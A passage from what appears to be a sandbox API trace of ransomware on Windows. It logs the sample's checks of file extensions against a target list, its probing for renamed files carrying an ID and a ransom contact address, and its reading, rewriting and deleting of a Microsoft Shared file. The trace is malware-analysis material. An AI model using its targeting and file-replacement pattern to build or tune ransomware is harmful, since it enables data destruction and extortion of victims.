lpString2=".htm") returned 1 [0041.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0041.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0041.377] lstrlenW (lpString=".doc") returned 4 [0041.377] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0041.377] lstrlenW (lpString=".docx") returned 5 [0041.377] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0041.377] lstrlenW (lpString=".pdf") returned 4 [0041.377] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0041.377] lstrlenW (lpString=".xls") returned 4 [0041.377] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0041.377] lstrlenW (lpString=".xlsx") returned 5 [0041.377] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0041.377] lstrlenW (lpString=".ppt") returned 4 [0041.377] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0041.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0041.377] lstrlenW (lpString=".zip") returned 4 [0041.377] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0041.377] lstrlenW (lpString=".rar") returned 4 [0041.377] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0041.377] lstrlenW (lpString=".bz2") returned 4 [0041.377] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0041.377] lstrlenW (lpString=".7z") returned 3 [0041.377] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0041.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0041.377] lstrlenW (lpString=".dbf") returned 4 [0041.377] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0041.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0041.377] lstrlenW (lpString=".1cd") returned 4 [0041.377] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0041.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0041.377] lstrlenW (lpString=".jpg") returned 4 [0041.377] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0041.378] lstrcmpiW (lpString1=".jpg", lpString2=".html") returned 1 [0041.378] lstrlenW (lpString="Garden.jpg") returned 10 [0041.378] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0041.378] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=23871) returned 1 [0041.378] CloseHandle (hObject=0x1c4) returned 1 [0041.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20 [0041.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0041.378] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0041.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0041.378] lstrlenW (lpString=".doc") returned 4 [0041.378] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0041.378] lstrlenW (lpString=".docx") returned 5 [0041.378] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0041.378] lstrlenW (lpString=".pdf") returned 4 [0041.378] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0041.378] lstrlenW (lpString=".xls") returned 4 [0041.379] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0041.379] lstrlenW (lpString=".xlsx") returned 5 [0041.379] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0041.379] lstrlenW (lpString=".ppt") returned 4 [0041.379] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0041.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0041.379] lstrlenW (lpString=".zip") returned 4 [0041.379] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0041.379] lstrlenW (lpString=".rar") returned 4 [0041.379] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0041.379] lstrlenW (lpString=".bz2") returned 4 [0041.379] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0041.379] lstrlenW (lpString=".7z") returned 3 [0041.379] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0041.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0041.379] lstrlenW (lpString=".dbf") returned 4 [0041.379] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0041.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0041.379] lstrlenW (lpString=".1cd") returned 4 [0041.379] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0041.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0041.379] lstrlenW (lpString=".jpg") returned 4 [0041.379] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0041.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0041.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0041.379] lstrlenW (lpString=".doc") returned 4 [0041.379] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0041.379] lstrlenW (lpString=".docx") returned 5 [0041.379] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0041.379] lstrlenW (lpString=".pdf") returned 4 [0041.379] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0041.379] lstrlenW (lpString=".xls") returned 4 [0041.379] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0041.380] lstrlenW (lpString=".xlsx") returned 5 [0041.380] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0041.380] lstrlenW (lpString=".ppt") returned 4 [0041.380] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0041.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0041.380] lstrlenW (lpString=".zip") returned 4 [0041.380] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0041.380] lstrlenW (lpString=".rar") returned 4 [0041.380] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0041.380] lstrlenW (lpString=".bz2") returned 4 [0041.380] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0041.380] lstrlenW (lpString=".7z") returned 3 [0041.380] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0041.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0041.380] lstrlenW (lpString=".dbf") returned 4 [0041.380] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0041.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0041.380] lstrlenW (lpString=".1cd") returned 4 [0041.380] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0041.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0041.380] lstrlenW (lpString=".jpg") returned 4 [0041.380] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0041.380] lstrcmpiW (lpString1=".emf", lpString2=".html") returned -1 [0041.380] lstrlenW (lpString="Genko_1.emf") returned 11 [0041.380] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0041.744] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=5524) returned 1 [0041.744] CloseHandle (hObject=0x1c4) returned 1 [0041.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf")) returned 0x20 [0041.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0041.744] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0041.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0041.744] lstrlenW (lpString=".doc") returned 4 [0041.744] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0041.744] lstrlenW (lpString=".docx") returned 5 [0041.744] lstrcmpiW (lpString1=".docx", lpString2="1.emf") returned -1 [0041.745] lstrlenW (lpString=".pdf") returned 4 [0041.745] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0041.745] lstrlenW (lpString=".xls") returned 4 [0041.745] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0041.745] lstrlenW (lpString=".xlsx") returned 5 [0041.745] lstrcmpiW (lpString1=".xlsx", lpString2="1.emf") returned -1 [0041.745] lstrlenW (lpString=".ppt") returned 4 [0041.745] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0041.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0041.745] lstrlenW (lpString=".zip") returned 4 [0041.745] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0041.745] lstrlenW (lpString=".rar") returned 4 [0041.745] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0041.745] lstrlenW (lpString=".bz2") returned 4 [0041.745] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0041.745] lstrlenW (lpString=".7z") returned 3 [0041.745] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0041.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0041.745] lstrlenW (lpString=".dbf") returned 4 [0041.745] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0041.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0041.745] lstrlenW (lpString=".1cd") returned 4 [0041.745] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0041.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0041.745] lstrlenW (lpString=".jpg") returned 4 [0041.745] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0041.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0041.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0041.745] lstrlenW (lpString=".doc") returned 4 [0041.745] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0041.745] lstrlenW (lpString=".docx") returned 5 [0041.745] lstrcmpiW (lpString1=".docx", lpString2="1.emf") returned -1 [0041.745] lstrlenW (lpString=".pdf") returned 4 [0041.745] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0041.746] lstrlenW (lpString=".xls") returned 4 [0041.746] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0041.746] lstrlenW (lpString=".xlsx") returned 5 [0041.746] lstrcmpiW (lpString1=".xlsx", lpString2="1.emf") returned -1 [0041.746] lstrlenW (lpString=".ppt") returned 4 [0041.746] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0041.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0041.746] lstrlenW (lpString=".zip") returned 4 [0041.746] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0041.746] lstrlenW (lpString=".rar") returned 4 [0041.746] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0041.746] lstrlenW (lpString=".bz2") returned 4 [0041.746] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0041.746] lstrlenW (lpString=".7z") returned 3 [0041.746] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0041.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0041.746] lstrlenW (lpString=".dbf") returned 4 [0041.746] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0041.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0041.746] lstrlenW (lpString=".1cd") returned 4 [0041.746] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0041.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0041.746] lstrlenW (lpString=".jpg") returned 4 [0041.746] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0041.746] lstrcmpiW (lpString1=".htm", lpString2=".html") returned -1 [0041.746] lstrlenW (lpString="Green Bubbles.htm") returned 17 [0041.746] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0041.747] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=237) returned 1 [0041.747] CloseHandle (hObject=0x1c4) returned 1 [0041.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0x20 [0041.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0041.747] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0041.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0041.748] lstrlenW (lpString=".doc") returned 4 [0041.748] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0041.748] lstrlenW (lpString=".docx") returned 5 [0041.748] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0041.748] lstrlenW (lpString=".pdf") returned 4 [0041.748] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0041.748] lstrlenW (lpString=".xls") returned 4 [0041.748] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0041.748] lstrlenW (lpString=".xlsx") returned 5 [0041.748] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0041.748] lstrlenW (lpString=".ppt") returned 4 [0041.748] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0041.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0041.748] lstrlenW (lpString=".zip") returned 4 [0041.748] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0041.748] lstrlenW (lpString=".rar") returned 4 [0041.748] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0041.748] lstrlenW (lpString=".bz2") returned 4 [0041.748] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0041.748] lstrlenW (lpString=".7z") returned 3 [0041.748] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0041.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0041.748] lstrlenW (lpString=".dbf") returned 4 [0041.748] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0041.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0041.748] lstrlenW (lpString=".1cd") returned 4 [0041.748] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0041.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0041.748] lstrlenW (lpString=".jpg") returned 4 [0041.748] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0041.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0041.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0041.749] lstrlenW (lpString=".doc") returned 4 [0041.749] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0041.749] lstrlenW (lpString=".docx") returned 5 [0041.749] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0041.749] lstrlenW (lpString=".pdf") returned 4 [0041.749] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0041.749] lstrlenW (lpString=".xls") returned 4 [0041.749] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0041.749] lstrlenW (lpString=".xlsx") returned 5 [0041.749] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0041.749] lstrlenW (lpString=".ppt") returned 4 [0041.749] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0041.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0041.749] lstrlenW (lpString=".zip") returned 4 [0041.749] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0041.749] lstrlenW (lpString=".rar") returned 4 [0041.749] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0041.749] lstrlenW (lpString=".bz2") returned 4 [0041.749] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0041.749] lstrlenW (lpString=".7z") returned 3 [0041.749] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0041.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0041.749] lstrlenW (lpString=".dbf") returned 4 [0041.749] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0041.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0041.749] lstrlenW (lpString=".1cd") returned 4 [0041.749] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0041.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0041.749] lstrlenW (lpString=".jpg") returned 4 [0041.749] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0041.750] lstrcmpiW (lpString1=".jpg", lpString2=".html") returned 1 [0041.750] lstrlenW (lpString="GreenBubbles.jpg") returned 16 [0041.750] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0041.750] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=6406) returned 1 [0041.750] CloseHandle (hObject=0x1c4) returned 1 [0041.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0x20 [0041.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0041.750] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0041.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0041.750] lstrlenW (lpString=".doc") returned 4 [0041.750] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0041.750] lstrlenW (lpString=".docx") returned 5 [0041.750] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0041.750] lstrlenW (lpString=".pdf") returned 4 [0041.750] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0041.750] lstrlenW (lpString=".xls") returned 4 [0041.750] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0041.750] lstrlenW (lpString=".xlsx") returned 5 [0041.750] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0041.750] lstrlenW (lpString=".ppt") returned 4 [0041.751] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0041.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0041.751] lstrlenW (lpString=".zip") returned 4 [0041.751] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0041.751] lstrlenW (lpString=".rar") returned 4 [0041.751] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0041.751] lstrlenW (lpString=".bz2") returned 4 [0041.751] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0041.751] lstrlenW (lpString=".7z") returned 3 [0041.751] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0041.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0041.751] lstrlenW (lpString=".dbf") returned 4 [0041.751] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0041.767] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.767] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.767] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0041.769] GetLastError () returned 0x0 [0041.769] ReadFile (in: hFile=0x1c4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x621, lpOverlapped=0x0) returned 1 [0041.771] WriteFile (in: hFile=0x204, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x630, lpOverlapped=0x0) returned 1 [0041.772] ReadFile (in: hFile=0x1c4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.772] WriteFile (in: hFile=0x204, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0041.772] SetEndOfFile (hFile=0x204) returned 1 [0041.772] CloseHandle (hObject=0x204) returned 1 [0041.773] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.773] SetEndOfFile (hFile=0x1c4) returned 1 [0041.774] CloseHandle (hObject=0x1c4) returned 1 [0041.774] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0041.774] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif")) returned 1 [0041.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0041.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0041.774] lstrlenW (lpString=".doc") returned 4 [0041.774] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0041.774] lstrlenW (lpString=".docx") returned 5 [0041.774] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0041.774] lstrlenW (lpString=".pdf") returned 4 [0041.774] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0041.774] lstrlenW (lpString=".xls") returned 4 [0041.774] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0041.774] lstrlenW (lpString=".xlsx") returned 5 [0041.774] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0041.774] lstrlenW (lpString=".ppt") returned 4 